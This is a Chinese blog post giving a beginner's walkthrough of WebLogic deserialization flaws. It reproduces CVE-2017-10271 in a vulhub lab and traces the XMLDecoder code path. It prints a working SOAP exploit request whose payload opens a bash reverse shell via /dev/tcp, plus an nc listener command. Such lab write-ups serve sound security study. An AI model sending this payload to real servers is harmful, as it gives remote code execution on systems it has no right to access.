weblogic反序列化漏洞的初级理解(一)

啥是weblogic

WebLogic是Oracle发布的一个基于JAVAEE架构的web中间件
大概可以理解为tomcat pro max🙃

Weblogic反序列化漏洞的几个利用阶段
从利用方式来看,分为三类

1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)
2.利用T3协议配合RMP或ND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645)还有利用IIOP协议的CVE-2020-2551
3.通过 javabean XML方式发送反序列化数据。(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)

漏洞复现
由于漏洞众多,搭建环境比较复杂,还是先利用vulhub中的CVE-2017-10271、CVE-2018-2628、CVE-2018-2894、CVE-2020-14882几个标志性的漏洞环境进行复现。

先从最古老的开始

CVE-2017-10271

影响范围:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0

docker开启环境

root@kali:/vulhub/weblogic/CVE-2017-10271# docker-compose up -d

远古版本,环境好大先忍一下

等待的过程中先理解一下漏洞原理以及vulhub给出的poc

该漏洞主要针对weblogic的WLS-WebServices组件
属于上述反序列化漏洞利用的第三类
大致的原理通过传输javabean XML方式构造恶意XML数据造成代码执行

结合poc来看

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.8.0_131" class="java.beans.XMLDecoder">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string>bash -i &gt;&amp; /dev/tcp/ip/port 0&gt;&amp;1</string>
                        </void>
                    </array>
                    <void method="start" />
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body />
</soapenv:Envelope>

大概是向网站的/wls-wsat/CoordinatorPortType路径传入xml数据,这串xml目的是反弹shell
在这里插入图片描述
OK,环境起好开始复现

访问localhost:7001/wls-wsat/CoordinatorPortType,显示wls-wsat组件的一些配置信息,表示服务已经开启
在这里插入图片描述
本地监听6666端口

root@kali:/# nc -l -p 6666

bp抓包重放构造好的数据包,注意字段Content-Type改为text/xml
在这里插入图片描述
成功反弹shell,服务器执行了我们传入的
/bin/bash -c bash -i >& /dev/tcp/ip/port 0>&1
在这里插入图片描述

漏洞原理

漏洞利用的过程很简单
有两个疑问点

1.wls-wsat组件如何处理xml数据
2.造成反序列化漏洞的关键点在哪

尝试传入任意命令
在这里插入图片描述
在响应中看到了返回的xml数据以及整个处理过程的调用栈
在这里插入图片描述
在这里插入图片描述
可以看到处理过程最后调用了java.beans.XMLDecoder方法,该方法用于将XML数据反序列化为java对象,这里造成了无回显的命令执行

根据vulhub提供的技术文档、参考大佬的分析过程可以得知大致的处理过程
在这里插入图片描述

1.根据POC,当我们传入<soapenv>标签包裹的数据时,wls-wsat使用了weblogic自带的webservices处理程序来处理SOAP请求
2.该处理程序首先调用weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法获取到我们传入的xml数据为var1,定义var2为处理过的var1数据
3.通过var2.get()方法中的WorkAreaConstants.WORK_AREA_HEADER参数获取<work:WorkContext >标签中的内容
4.当var3不为空时,执行readHeaderOld(var3);

在这里插入图片描述

5.在readHeaderOld中,实例化了WorkContextXmlInputAdapter,此时方法内的var4是java标签里的内容

在这里插入图片描述

6.在实例化WorkContextXmlInputAdapter中,直接调用xmlDecoder反序列化传入的xml数据,也就是处理过的var4

从整个过程中可以发现,传入的xml数据从始至终都没有受到任何过滤,wls-wsat的类似剥洋葱的处理方式一层一层揭开最后直接反序列化,这样显然是很不安全滴。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Redredredfish

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值